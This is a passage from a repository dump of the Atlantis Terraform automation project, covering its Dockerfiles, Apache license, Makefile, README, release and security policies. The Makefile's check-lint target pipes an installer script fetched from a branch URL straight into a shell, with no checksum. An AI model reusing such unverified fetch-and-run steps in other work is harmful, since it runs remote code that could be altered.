curl=${DEBIAN_CURL_VERSION} \\\n        git=${DEBIAN_GIT_VERSION} \\\n        unzip=${DEBIAN_UNZIP_VERSION} \\\n        openssh-server=${DEBIAN_OPENSSH_SERVER_VERSION} \\\n        dumb-init=${DEBIAN_DUMB_INIT_VERSION} \\\n        gnupg=${DEBIAN_GNUPG_VERSION} \\\n        openssl=${DEBIAN_OPENSSL_VERSION} && \\\n    apt-get clean && \\\n    rm -rf /var/lib/apt/lists/*\n\nFROM debian-base AS deps\n\n# Get the architecture the image is being built for\nARG TARGETPLATFORM\nWORKDIR /tmp/build\n\n# install conftest\nARG DEFAULT_CONFTEST_VERSION\nENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION}\nSHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]\nRUN AVAILABLE_CONFTEST_VERSIONS=${DEFAULT_CONFTEST_VERSION} && \\\n    case ${TARGETPLATFORM} in \\\n        \"linux/amd64\") CONFTEST_ARCH=x86_64 ;; \\\n        \"linux/arm64\") CONFTEST_ARCH=arm64 ;; \\\n        # There is currently no compiled version of conftest for armv7\n        \"linux/arm/v7\") CONFTEST_ARCH=x86_64 ;; \\\n    esac && \\\n    for VERSION in ${AVAILABLE_CONFTEST_VERSIONS}; do \\\n        curl -LOs \"https://github.com/open-policy-agent/conftest/releases/download/v${VERSION}/conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz\" && \\\n        curl -LOs \"https://github.com/open-policy-agent/conftest/releases/download/v${VERSION}/checksums.txt\" && \\\n        sed -n \"/conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz/p\" checksums.txt | sha256sum -c && \\\n        mkdir -p \"/usr/local/bin/cft/versions/${VERSION}\" && \\\n        tar -C \"/usr/local/bin/cft/versions/${VERSION}\" -xzf \"conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz\" && \\\n        ln -s \"/usr/local/bin/cft/versions/${VERSION}/conftest\" /usr/local/bin/conftest && \\\n        rm \"conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz\" && \\\n        rm checksums.txt; \\\n    done\n\n# install git-lfs\n# renovate: datasource=github-releases depName=git-lfs/git-lfs\nENV GIT_LFS_VERSION=3.7.1\n\nRUN case ${TARGETPLATFORM} in \\\n        \"linux/amd64\") GIT_LFS_ARCH=amd64 ;; \\\n        \"linux/arm64\") GIT_LFS_ARCH=arm64 ;; \\\n        \"linux/arm/v7\") GIT_LFS_ARCH=arm ;; \\\n    esac && \\\n    curl -L -s --output git-lfs.tar.gz \"https://github.com/git-lfs/git-lfs/releases/download/v${GIT_LFS_VERSION}/git-lfs-linux-${GIT_LFS_ARCH}-v${GIT_LFS_VERSION}.tar.gz\" && \\\n    tar --strip-components=1 -xf git-lfs.tar.gz && \\\n    chmod +x git-lfs && \\\n    mv git-lfs /usr/bin/git-lfs && \\\n    git-lfs --version\n\n# install terraform binaries\nARG DEFAULT_TERRAFORM_VERSION\nENV DEFAULT_TERRAFORM_VERSION=${DEFAULT_TERRAFORM_VERSION}\nARG DEFAULT_OPENTOFU_VERSION\nENV DEFAULT_OPENTOFU_VERSION=${DEFAULT_OPENTOFU_VERSION}\n\n# COPY scripts/download-release.sh .\nCOPY --from=builder /app/scripts/download-release.sh download-release.sh\n\n# In the official Atlantis image, we only have the latest of each Terraform version.\n# Each binary is about 80 MB so we limit it to the 4 latest minor releases or fewer\nRUN ./download-release.sh \\\n        \"terraform\" \\\n        \"${TARGETPLATFORM}\" \\\n        \"${DEFAULT_TERRAFORM_VERSION}\" \\\n        \"1.8.5 1.9.8 1.10.5 ${DEFAULT_TERRAFORM_VERSION}\" \\\n    && ./download-release.sh \\\n        \"tofu\" \\\n        \"${TARGETPLATFORM}\" \\\n        \"${DEFAULT_OPENTOFU_VERSION}\" \\\n        \"${DEFAULT_OPENTOFU_VERSION}\"\n\n# Stage 2 - Alpine\n# Creating the individual distro builds using targets\nFROM alpine:${ALPINE_TAG} AS alpine\n\nEXPOSE ${ATLANTIS_PORT:-4141}\n\nHEALTHCHECK --interval=5m --timeout=3s \\\n  CMD curl -f http://localhost:${ATLANTIS_PORT:-4141}/healthz || exit 1\n\n# Set up the 'atlantis' user and adjust permissions\nRUN addgroup atlantis && \\\n    adduser -S -G atlantis atlantis && \\\n    chown atlantis:root /home/atlantis/ && \\\n    chmod u+rwx /home/atlantis/\n\n# copy atlantis binary\nCOPY --from=builder /app/atlantis /usr/local/bin/atlantis\n# copy terraform binaries\nCOPY --from=deps /usr/local/bin/terraform/terraform* /usr/local/bin/\nCOPY --from=deps /usr/local/bin/tofu/tofu* /usr/local/bin/\n# copy dependencies\nCOPY --from=deps /usr/local/bin/conftest /usr/local/bin/conftest\nCOPY --from=deps /usr/bin/git-lfs /usr/bin/git-lfs\nCOPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh\n\n# renovate: datasource=repology depName=alpine_3_23/ca-certificates versioning=loose\nENV CA_CERTIFICATES_VERSION=\"20251003-r0\"\n# renovate: datasource=repology depName=alpine_3_23/curl versioning=loose\nENV CURL_VERSION=\"8.17.0-r1\"\n# renovate: datasource=repology depName=alpine_3_23/git versioning=loose\nENV GIT_VERSION=\"2.52.0-r0\"\n# renovate: datasource=repology depName=alpine_3_23/unzip versioning=loose\nENV UNZIP_VERSION=\"6.0-r16\"\n# renovate: datasource=repology depName=alpine_3_23/bash versioning=loose\nENV BASH_VERSION=\"5.3.3-r1\"\n# renovate: datasource=repology depName=alpine_3_23/openssh versioning=loose\nENV OPENSSH_VERSION=\"10.2_p1-r0\"\n# renovate: datasource=repology depName=alpine_3_23/dumb-init versioning=loose\nENV DUMB_INIT_VERSION=\"1.2.5-r3\"\n# renovate: datasource=repology depName=alpine_3_23/gcompat versioning=loose\nENV GCOMPAT_VERSION=\"1.1.0-r4\"\n# renovate: datasource=repology depName=alpine_3_23/coreutils versioning=loose\nENV COREUTILS_ENV_VERSION=\"9.8-r1\"\n\n# Install packages needed to run Atlantis.\n# We place this last as it will bust less docker layer caches when packages update\nRUN apk add --no-cache \\\n        ca-certificates=${CA_CERTIFICATES_VERSION} \\\n        curl=${CURL_VERSION} \\\n        git=${GIT_VERSION} \\\n        unzip=${UNZIP_VERSION} \\\n        bash=${BASH_VERSION} \\\n        openssh=${OPENSSH_VERSION} \\\n        dumb-init=${DUMB_INIT_VERSION} \\\n        gcompat=${GCOMPAT_VERSION} \\\n        coreutils-env=${COREUTILS_ENV_VERSION}\n\nARG DEFAULT_CONFTEST_VERSION\nENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION}\n\n# Set the entry point to the atlantis user and run the atlantis command\nUSER atlantis\nENTRYPOINT [\"docker-entrypoint.sh\"]\nCMD [\"server\"]\n\n# Stage 2 - Debian\nFROM debian-base AS debian\n\nEXPOSE ${ATLANTIS_PORT:-4141}\n\nHEALTHCHECK --interval=5m --timeout=3s \\\n  CMD curl -f http://localhost:${ATLANTIS_PORT:-4141}/healthz || exit 1\n\n# Set up the 'atlantis' user and adjust permissions\nRUN useradd --create-home --user-group --shell /bin/bash atlantis && \\\n    chown atlantis:root /home/atlantis/ && \\\n    chmod u+rwx /home/atlantis/\n\n# copy atlantis binary\nCOPY --from=builder /app/atlantis /usr/local/bin/atlantis\n# copy terraform binaries\nCOPY --from=deps /usr/local/bin/terraform/terraform* /usr/local/bin/\nCOPY --from=deps /usr/local/bin/tofu/tofu* /usr/local/bin/\n# copy dependencies\nCOPY --from=deps /usr/local/bin/conftest /usr/local/bin/conftest\nCOPY --from=deps /usr/bin/git-lfs /usr/bin/git-lfs\n# copy docker-entrypoint.sh\nCOPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh\n\nARG DEFAULT_CONFTEST_VERSION\nENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION}\n\n# Set the entry point to the atlantis user and run the atlantis command\nUSER atlantis\nENTRYPOINT [\"docker-entrypoint.sh\"]\nCMD [\"server\"]\n"
  },
  {
    "path": "Dockerfile.dev",
    "content": "FROM ghcr.io/runatlantis/atlantis:latest@sha256:bdf219f4ee5a87435ef1f1b0ffc39cf8e86d39bd67d2fac6d86f25a8500c4ce2\nCOPY atlantis /usr/local/bin/atlantis\nWORKDIR /atlantis/src\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "MAINTAINERS.md",
    "content": "The current Maintainers Group for the [Atlantis] Project consists of:\n\n| Name                | GitHub ID                                                | Employer          | Role             |\n| ------------------- | -------------------------------------------------------- | ----------------- | ---------------- |\n| Dylan Page          | [GenPage](https://github.com/GenPage)                    | Lambda            | Maintainer       |\n| PePe Amengual       | [jamengual](https://github.com/jamengual)                | Slalom            | Maintainer       |\n| Rui Chen            | [chenrui333](https://github.com/chenrui333)              | Meetup            | Maintainer       |\n| Bruno Schaatsbergen | [bschaatsbergen](https://github.com/bschaatsbergen)      | Xebia             | Core Contributor |\n| Ronak               | [nitrocode](https://github.com/nitrocode)                | RB Consulting LLC | Core Contributor |\n"
  },
  {
    "path": "Makefile",
    "content": "BUILD_ID := $(shell git rev-parse --short HEAD 2>/dev/null || echo no-commit-id)\nWORKSPACE := $(shell pwd)\nPKG := $(shell go list ./... | grep -v e2e | grep -v static | grep -v mocks | grep -v testing)\nPKG_COMMAS := $(shell go list ./... | grep -v e2e | grep -v static | grep -v mocks | grep -v testing | tr '\\n' ',')\nIMAGE_NAME := runatlantis/atlantis\n\n.DEFAULT_GOAL := help\n\n# renovate: datasource=github-releases depName=golangci/golangci-lint\nGOLANGCI_LINT_VERSION := v1.64.4\n\n.PHONY: help\nhelp: ## List targets & descriptions\n\t@cat Makefile* | grep -E '^[a-zA-Z\\/_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = \":.*?## \"}; {printf \"\\033[36m%-30s\\033[0m %s\\n\", $$1, $$2}'\n\n.PHONY: id\nid: ## Output BUILD_ID being used\n\t@echo $(BUILD_ID)\n\n.PHONY: debug\ndebug: ## Output internal make variables\n\t@echo BUILD_ID = $(BUILD_ID)\n\t@echo IMAGE_NAME = $(IMAGE_NAME)\n\t@echo WORKSPACE = $(WORKSPACE)\n\t@echo PKG = $(PKG)\n\n.PHONY: build-service\nbuild-service: ## Build the main Go service\n\tCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -v -o atlantis .\n\n.PHONY: build\nbuild: build-service ## Runs make build-service\n\n.PHONY: all\nall: build-service ## Runs make build-service\n\n.PHONY: clean\nclean: ## Cleans compiled binary\n\t@rm -f atlantis\n\n.PHONY: go-generate\ngo-generate: ## Run go generate in all packages\n\t./scripts/go-generate.sh\n\n.PHONY: regen-mocks\nregen-mocks: ## Delete and regenerate all mocks\n\tfind . -type f | grep mocks/mock_ | xargs rm\n\tfind . -type f | grep mocks/matchers | xargs rm\n\t@# not using $(PKG) here because that includes directories that have now\n\t@# been made empty, causing go generate to fail.\n\t./scripts/go-generate.sh\n\n.PHONY: test\ntest: ## Run tests\n\t@go test -short $(PKG)\n\n.PHONY: docker/test\ndocker/test: ## Run tests in docker\n\tdocker run -it -v $(PWD):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c \"cd /atlantis && make test\"\n\n.PHONY: test-all\ntest-all: ## Run tests including integration\n\t@go test -timeout=300s $(PKG)\n\n.PHONY: docker/test-all\ndocker/test-all: ## Run all tests in docker\n\tdocker run -it -v $(PWD):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c \"cd /atlantis && make test-all\"\n\n.PHONY: test-coverage\ntest-coverage: ## Show test coverage\n\t@mkdir -p .cover\n\t@go test -covermode atomic -coverprofile .cover/cover.out $(PKG)\n\n.PHONY: test-coverage-html\ntest-coverage-html: ## Show test coverage and output html\n\t@mkdir -p .cover\n\t@go test -covermode atomic -coverpkg $(PKG_COMMAS) -coverprofile .cover/cover.out $(PKG)\n\tgo tool cover -html .cover/cover.out\n\n.PHONY: docker/dev\ndocker/dev: ## Build dev Dockerfile as atlantis-dev\n\tGOOS=linux GOARCH=amd64 go build -o atlantis .\n\tdocker build -f Dockerfile.dev -t atlantis-dev .\n\n.PHONY: release\nrelease: ## Create packages for a release\n\tdocker run -v $$(pwd):/go/src/github.com/runatlantis/atlantis cimg/go:1.20 sh -c 'cd /go/src/github.com/runatlantis/atlantis && scripts/binary-release.sh'\n\n.PHONY: fmt\nfmt: ## Run goimports (which also formats)\n\tgoimports -w $$(find . -type f -name '*.go' ! -path \"./vendor/*\" ! -path \"**/mocks/*\")\n\n.PHONY: lint\nlint: ## Run linter locally\n\tgolangci-lint run\n\n.PHONY: check-lint\ncheck-lint: ## Run linter in CI/CD. If running locally use 'lint'\n\tcurl -sfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b ./bin $(GOLANGCI_LINT_VERSION)\n\t./bin/golangci-lint run -j 4 --timeout 5m\n\n.PHONY: check-fmt\ncheck-fmt: ## Fail if not formatted\n\t./scripts/fmt.sh\n\n.PHONY: end-to-end-deps\nend-to-end-deps: ## Install e2e dependencies\n\t./scripts/e2e-deps.sh\n\n.PHONY: end-to-end-tests\nend-to-end-tests: ## Run e2e tests\n\t./scripts/e2e.sh\n\n.PHONY: website-dev\nwebsite-dev: ## Run runatlantic.io on localhost:8080\n\tnpm run website:dev\n"
  },
  {
    "path": "README.md",
    "content": "# Atlantis <!-- omit in toc -->\n\n[![Latest Release](https://img.shields.io/github/release/runatlantis/atlantis.svg)](https://github.com/runatlantis/atlantis/releases/latest)\n[![SuperDopeBadge](./runatlantis.io/public/hightower-super-dope.svg)](https://twitter.com/kelseyhightower/status/893260922222813184)\n[![Go Report Card](https://goreportcard.com/badge/github.com/runatlantis/atlantis)](https://goreportcard.com/report/github.com/runatlantis/atlantis)\n[![Go Reference](https://pkg.go.dev/badge/github.com/runatlantis/atlantis.svg)](https://pkg.go.dev/github.com/runatlantis/atlantis)\n[![Slack](https://img.shields.io/badge/Join-Atlantis%20Community%20Slack-red)](https://slack.cncf.io/)\n[![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/runatlantis/atlantis/badge)](https://scorecard.dev/viewer/?uri=github.com/runatlantis/atlantis)\n[![OpenSSF Best Practices](https://www.bestpractices.dev/projects/9428/badge)](https://www.bestpractices.dev/projects/9428)\n\n<p align=\"center\">\n  <img src=\"./runatlantis.io/public/hero.png\" alt=\"Atlantis Logo\"/><br><br>\n  <b>Terraform Pull Request Automation</b>\n</p>\n\n- [Resources](#resources)\n- [What is Atlantis?](#what-is-atlantis)\n- [What does it do?](#what-does-it-do)\n- [Why should you use it?](#why-should-you-use-it)\n- [Stargazers over time](#stargazers-over-time)\n\n## Resources\n* How to get started: [www.runatlantis.io/guide](https://www.runatlantis.io/guide)\n* Full documentation: [www.runatlantis.io/docs](https://www.runatlantis.io/docs)\n* Download the latest release: [github.com/runatlantis/atlantis/releases/latest](https://github.com/runatlantis/atlantis/releases/latest)\n* Get help in our [Slack channel](https://slack.cncf.io/) in channel #atlantis and development in #atlantis-contributors\n* Start Contributing: [CONTRIBUTING.md](CONTRIBUTING.md)\n\n## What is Atlantis?\nA self-hosted golang application that listens for Terraform pull request events via webhooks.\n\n## What does it do?\nRuns `terraform plan`, `import`, `apply` remotely and comments back on the pull request with the output.\n\n## Why should you use it?\n* Make Terraform changes visible to your whole team.\n* Enable non-operations engineers to collaborate on Terraform.\n* Standardize your Terraform workflows.\n\n## Stargazers over time\n\n[![Stargazers over time](https://starchart.cc/runatlantis/atlantis.svg)](https://starchart.cc/runatlantis/atlantis)\n"
  },
  {
    "path": "RELEASE.md",
    "content": "# Releases\n\n## Cadence\n\nAtlantis follows a **monthly release cadence** to provide regular, predictable updates while maintaining stability for users.\n\n### Release Schedule\n\n-  **Frequency**: Once per month\n-  **Timing**: First week OR last week of every month (but only once per month)\n-  **Release Day**: Typically Tuesday or Wednesday to allow for weekend buffer\n\n### Versioning\n\nAtlantis follows [Semantic Versioning](https://semver.org/) (SemVer):\n\n-  **Major releases** (x.0.0): Breaking changes\n-  **Minor releases** (0.x.0): New features, backward compatible\n-  **Patch releases** (0.0.x): Bug fixes and security patches\n\n### Release Branches\n\n-  **Main branch**: Contains the latest development work\n-  **Release branches**: Created for major/minor releases (e.g., `release-0.20`)\n-  **Hotfixes**: Applied to both main and relevant release branches\n\n### Communication\n\n-  **Release Announcements**: Posted on GitHub Releases and community channels\n-  **Breaking Changes**: Clearly documented in release notes and migration guides\n-  **Security Updates**: Immediately communicated through security advisories\n\n### Release Criteria\n\nA release is ready when:\n\n1. ✅ All tests pass\n2. ✅ Documentation is updated\n3. ✅ Release notes are current\n4. ✅ No known critical bugs\n5. ✅ Security scan passes\n6. ✅ Performance benchmarks are acceptable\n\n### Emergency Releases\n\nIn case of critical security vulnerabilities or severe bugs:\n\n1. **Immediate Assessment**: Evaluate severity and impact\n2. **Hotfix Development**: Create targeted fix\n3. **Expedited Testing**: Focused testing on the fix\n4. **Emergency Release**: Release outside normal cadence if necessary\n\n### Contributing to Releases\n\n-  **Feature Requests**: Submit early in the month for consideration\n-  **Bug Reports**: Report immediately for faster resolution\n-  **Testing**: Help test release candidates\n-  **Documentation**: Contribute to release notes and migration guides\n\nFor detailed information about contributing to Atlantis, see [CONTRIBUTING.md](./CONTRIBUTING.md).\n\n## Release Process\n\n### Creating a New Release\n1. (Major/Minor release only) Create a new release branch `release-x.y`\n1. Go to https://github.com/runatlantis/atlantis/releases and click \"Draft a new release\"\n    1. Prefix version with `v` and increment based on last release.\n    1. The title of the release is the same as the tag (ex. v0.2.2)\n    1. Fill in description by clicking on the \"Generate Release Notes\" button.\n        1. You may have to manually move around some commit titles as they are determined by PR labels (see .github/labeler.yml & .github/release.yml)\n    1. (Latest Major/Minor branches only) Make sure the release is set as latest\n        1. Don't set \"latest release\" for patches on older release branches.\n1. Check and update the default version in `Chart.yaml` in [the official Helm chart](https://github.com/runatlantis/helm-charts/blob/main/charts/atlantis/values.yaml) as needed.\n\n### Backporting Fixes\nAtlantis now uses a [cherry-pick-bot](https://github.com/googleapis/repo-automation-bots/tree/main/packages/cherry-pick-bot) from Google. The bot assists in maintaining changes across releases branches by easily cherry-picking changes via pull requests.\n\nMaintainers and Core Contributors can add a comment to a pull request:\n\n```sh\n/cherry-pick target-branch-name\n```\n\ntarget-branch-name is the branch to cherry-pick to. cherry-pick-bot will cherry-pick the merged commit to a new branch (created from the target branch) and open a new pull request to the target branch.\n\nThe bot will immediately try to cherry-pick a merged PR. On unmerged pull request, it will not do anything immediately, but wait until merge. You can comment multiple times on a PR for multiple release branches.\n\n#### Manual Backporting Fixes\nThe bot will fail to cherry-pick if the feature branches' git history is not linear (merge commits instead of rebase). In that case, you will need to manually cherry-pick the squashed merged commit from main to the release branch\n\n1. Switch to the release branch intended for the fix.\n1. Run `git cherry-pick <sha>` with the commit hash from the main branch.\n1. Push the newly cherry-picked commit up to the remote release branch.\n\n### Release History\n\nFor detailed information about past releases, see:\n\n-  [GitHub Releases](https://github.com/runatlantis/atlantis/releases)\n\n---\n\n_This document is maintained by the Atlantis maintainers. For questions about the release process, please open an issue or contact the maintainers._\n```\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Reporting a Vulnerability\n\nWe take security issues seriously. Please report a security vulnerability to the maintainers using [private vulnerability reporting](https://github.com/runatlantis/atlantis/security/advisories/new).\n\n## Maintained releases\n\nOnly the two latest minor releases are maintained. For example, if `0.29.7` is the latest, then `0.29.x` and `0.28.x` will receive security fixes.\n"
  },
  {
    "path": "_typos.toml",
    "content": "[default.extend-words]\n# HashiCorp is a proper company name; the \"Hashi\" prefix is intentional\nhashi = \"hashi\"\n# \"ue\" is used as a workspace-name prefix in documentation examples (short for us-east)\nue = \"ue\"\n# ACI = Azure Container Instances\naci = \"aci\"\n"
  },
  {
    "path": "atlantis-features-version-analysis.md",
    "content": "# Atlantis Features Version Analysis\n\nThis document provides a comprehensive analysis of Atlantis features and the versions when they were introduced, based on the changelog, merged PRs, and documentation.\n\n## Server Configuration Features\n\n### Core Features (v0.1.0+)\n\nThese features have been available since the initial release or very early versions:\n\n-  `--port` - Port to bind to (default: 4141)\n-  `--log-level` - Log level (debug|info|warn|error)\n-  `--gh-user` - GitHub username of API user\n-  `--gh-token` - GitHub token of API user\n-  `--gh-webhook-secret` - Secret used to validate GitHub webhooks\n-  `--repo-allowlist` - Allowlist of repositories (deprecated `--repo-whitelist` in v0.13.0)\n-  `--data-dir` - Directory where Atlantis stores its data\n-  `--atlantis-url` - URL that Atlantis is accessible from\n-  `--web-username` - Username for Basic Authentication\n-  `--web-password` - Password for Basic Authentication\n-  `--web-basic-auth` - Enable Basic Authentication on web service\n\n### v0.13.0\n\n-  `--allow-draft-prs` - Respond to pull requests from draft PRs\n\n### v0.15.0\n\n-  `--skip-clone-no-changes` - Skip cloning repo during autoplan if no changes to Terraform projects\n-  `--disable-autoplan` - Globally disable autoplanning\n\n### v0.16.0\n\n-  `--parallel-pool-size` - Max size of wait group for parallel plans/applies\n-  `--disable-apply-all` - Disable `atlantis apply` command (requires specific project/workspace/directory)\n\n### v0.16.1\n\n-  `--gh-app-slug` - GitHub App slug for identifying comments\n-  `--disable-repo-locking` - Stop Atlantis from locking projects/workspaces\n\n### v0.17.0\n\n-  `--enable-policy-checks` - Enable server-side policy checks with conftest\n-  `--autoplan-file-list` - Modify global list of files that trigger project planning\n-  `--silence-no-projects` - Silence Atlantis from responding to PRs when no projects\n-  `--enable-regexp-cmd` - Enable regex commands for project targeting\n-  `--disable-global-apply-lock` - Remove global apply lock button from UI\n-  `--automerge` - Automatically merge pull requests after successful applies\n\n### v0.18.0+\n\n-  `--default-tf-version` - Default Terraform version (introduced in v0.13.0, refined in later versions)\n-  `--tf-download` - Allow Atlantis to download Terraform versions\n-  `--tf-download-url` - Alternative URL for Terraform downloads\n\n### v0.19.0\n\n-  `--hide-prev-plan-comments` - Hide previous plan comments to declutter PRs\n\n### v0.19.5\n\n-  `--var-file-allowlist` - Restrict access to variable definition files\n\n### v0.20.0+\n\n-  `--gh-app-id` - GitHub App ID for installation-based authentication\n-  `--gh-app-key` - GitHub App private key\n-  `--gh-app-key-file` - Path to GitHub App private key file\n-  